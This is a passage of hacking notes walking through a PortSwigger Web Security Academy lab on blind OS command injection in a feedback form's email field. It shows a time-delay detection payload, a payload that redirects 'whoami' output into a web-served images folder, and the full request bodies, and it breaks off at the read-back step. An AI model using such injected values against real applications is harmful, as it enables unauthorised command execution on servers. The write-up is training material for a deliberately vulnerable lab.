> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/web/command-injection/blind-os-command-injection-with-output-redirection.md). # Blind OS Command Injection with Output Redirection Blind OS Command Injection with Output Redirection notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation context. ### Blind OS Command Injection with Output Redirection #### Lab Description * The application presents a vulnerability to injection of system commands **blind** in feedback functionality. * User input data is injected into a server-side shell command. * The output of this command \*\* is not returned\*\* directly in the HTTP response. * There is, however, an accessible record in writing:/ `/var/www/images/` * The application serves the catalogue images produced from this directory. * So we can **direct the output** of the command to a file in this folder and then read this file via the image loading URL. **Lab objective:** Run the `whoami` command and recover its output. ```bash ;sleep 10; ``` #### Injection Detection (time Delay) The feedback form is used. / The **email** field is vulnerable: when you inject a delay, the response takes about 10 seconds. Payload injected into the `email` field: {% code overflow="wrap" %} ```bash csrf=3dBtfZovWVNJXDv2aXCkmfAOSH9tQt7h&name=hello&email=hello%40gmail.com;sleep 10;&subject=hello&message=hello1234 ``` {% endcode %} The 10-second delay confirms the control injection. #### Operation with Output Redirection Purpose: redirect the output of `whoami` to a file in `/var/www/images/`. Payload injected into the `email` field: ``` ;whoami > /var/www/images/test.txt; ``` Example of a request body: {% code overflow="wrap" %} ```bash csrf=3dBtfZovWVNJXDv2aXCkmfAOSH9tQt7h&name=hello&email=hello%40gmail.com;whoami > /var/www/images/test.txt;&subject=hello&message=hello1234 ``` {% endcode %} This command creates (or overwrites) the `test.txt` file in the directory accessible from the web. ```bash /image?filename=test.txt ``` #### Recovery of Result To read the output of `whoami` saved in the file, we call the URL that serves the files in the image folder:
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